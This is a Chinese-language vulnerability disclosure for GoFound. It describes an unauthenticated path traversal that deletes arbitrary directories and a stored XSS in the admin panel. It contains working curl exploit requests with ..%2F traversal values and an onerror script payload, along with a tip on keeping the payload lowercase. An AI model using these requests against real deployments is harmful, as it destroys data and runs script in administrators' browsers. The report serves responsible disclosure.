GoFound 漏洞报告

软件名称:GoFound

开发者或厂商:sea-team

代码仓库:https://github.com/sea-team/gofound

1. database 参数路径穿越导致任意目录删除

简要描述:攻击者可通过 database 参数把任意目录注册为数据库,再删除该目录及其全部内容。
影响版本:1.1.5 ~ 1.4.1
前置条件:无。

漏洞成因

database 参数从 query 中取出后不做校验,直接拼进文件系统路径,用于构造引擎的 IndexPath:

// searcher/container.go:52-60    commit eec89a008c
func (c *Container) NewEngine(name string) *Engine {
	var engine = &Engine{
		IndexPath:    fmt.Sprintf("%s%c%s", c.Dir, os.PathSeparator, name),
		DatabaseName: name,

c.Dir 是配置中的数据目录,默认为 ./data。name 完全来自请求,因此 ..%2F..%2Fsrv%2Fbackup 这样的取值会让 IndexPath 落到 /srv/backup。

/api/db/create 把该名称登记进 c.engines,并不检查路径是否存在:

// searcher/container.go:70-87    commit eec89a008c
func (c *Container) GetDataBase(name string) *Engine {
	if name == "" {
		name = "default"
	}
	engine, ok := c.engines[name]
	if !ok {
		engine = c.NewEngine(name)
		c.engines[name] = engine
	}
	return engine
}

/api/db/drop 会调用 DropDataBase,最终执行 os.RemoveAll:

// searcher/container.go:119-126    commit eec89a008c
func (c *Container) DropDataBase(name string) error {
	if _, ok := c.engines[name]; !ok {
		return errors.New("数据库不存在")
	}
	err := c.engines[name].Drop()
// searcher/engine.go:617-623    commit eec89a008c
func (e *Engine) Drop() error {
	e.Lock()
	defer e.Unlock()
	//删除文件
	if err := os.RemoveAll(e.IndexPath); err != nil {
		return err
	}

os.RemoveAll 会递归删除目标路径,因此攻击者指定的任意目录连同其中全部文件都会被清除。

默认配置不启用认证,因此上述两个请求无需凭据。

复现环境搭建

实验环境使用仓库自带的 Dockerfile:

git clone https://github.com/sea-team/gofound
cd gofound
docker build -t gofound-official .
docker run -d --name gofound --network host gofound-official

容器的数据目录为 /usr/local/go_found/data。

复现过程

在容器内创建一个用于演示的备份目录 /srv/backup:

docker exec gofound sh -c 'mkdir -p /srv/backup && echo "customer-pii" > /srv/backup/customers.sql && echo "db_password=hunter2" > /srv/backup/credentials.env && ls /srv/backup'
credentials.env
customers.sql

容器的数据目录为 /usr/local/go_found/data,向上四层即容器根目录,因此 ..%2F..%2F..%2F..%2Fsrv%2Fbackup 指向 /srv/backup。先把它注册成数据库:

curl -s "http://127.0.0.1:5678/api/db/create?database=..%2F..%2F..%2F..%2Fsrv%2Fbackup"
{"state":true,"message":"success","data":"创建成功"}

再删除:

curl -s "http://127.0.0.1:5678/api/db/drop?database=..%2F..%2F..%2F..%2Fsrv%2Fbackup"
{"state":true,"message":"success","data":"删除成功"}

目录及其中的文件全部消失:

docker exec gofound sh -c 'ls -d /srv/backup'
ls: cannot access '/srv/backup': No such file or directory

2. 后台管理界面存储型 XSS

简要描述:攻击者写入包含 HTML 标签的索引文本,管理员在后台搜索命中该文本时,标签中的脚本被执行。
影响版本:1.1.3 ~ 1.4.1
前置条件:管理员在后台管理界面搜索到攻击者写入的索引文本。

漏洞成因

后台搜索结果对 text 字段使用 v-html 渲染:

<!-- web/admin/assets/web/src/views/dashboard.vue:113-117    commit eec89a008c -->
            <el-table-column prop="text" label="Text">
              <template #default="scope">
                <span v-html="scope.row.text"></span>
              </template>
            </el-table-column>

服务端在返回结果时只对命中的词插入高亮标签,不对原文做转义:

// searcher/engine.go:480-492    commit eec89a008c
		text := storageDoc.Text
		//处理关键词高亮
		highlight := request.Highlight
		if highlight != nil {
			//全部小写
			text = strings.ToLower(text)
			//还可以优化,只替换击中的词
			for _, key := range storageDoc.Keys {
				if ok := (*wordMap)[key]; ok {
					text = strings.ReplaceAll(text, key, fmt.Sprintf("%s%s%s", highlight.PreTag, key, highlight.PostTag))
				}
			}

storageDoc.Text 就是 /api/index 收到的 text 原文,原样保存在文档仓中,因此写入的 HTML 标签会被浏览器解析。

分词器会移除标点并转小写,<img src=x onerror=...> 会被切成 <、imgsrc、=、xonerror 等词,但 text 字段本身不受影响,标签保持完整。

/api/index 与 /api/query 在默认配置下同样不需要凭据,因此攻击者可以匿名写入索引。

复现环境搭建

与第 1 节相同,使用官方 Dockerfile 构建并以 host 网络启动。

复现过程

创建数据库,并把 payload 写入 payload.json:

{"id":1,"text":"hello <img src=x onerror=\"document.body.style['background-image']='linear-gradient(rgba(204,0,0,0.85),rgba(204,0,0,0.85))';document.body.style['background-size']='100% 50%';document.body.style['background-repeat']='no-repeat';document.all.app.style.opacity='0.55'\">","document":{"author":"editor"}}
curl -s "http://127.0.0.1:5678/api/db/create?database=news"
curl -s -H 'Content-Type: application/json' -X POST --data @payload.json \
  "http://127.0.0.1:5678/api/index?database=news"
{"state":true,"message":"success","data":"创建成功"}
{"state":true,"message":"success"}

打开后台管理界面:

http://127.0.0.1:5678/admin/

选中 news 数据库,在搜索框中输入 hello 并回车。搜索命中后,onerror 中的代码被执行,页面顶部覆盖一层半透明红色遮罩:

注:后台的关键词高亮默认开启,此时 payload 中的 JavaScript 必须全为小写。服务端在处理高亮时会调用 strings.ToLower(text),若脚本中含大写字母(例如 document.querySelector、innerHTML),会被改成 document.queryselector、innerhtml 而失效。document.all.app 与小写形式的属性名不受影响。管理员若关闭高亮,则原文不再被转小写,脚本可用任意大小写。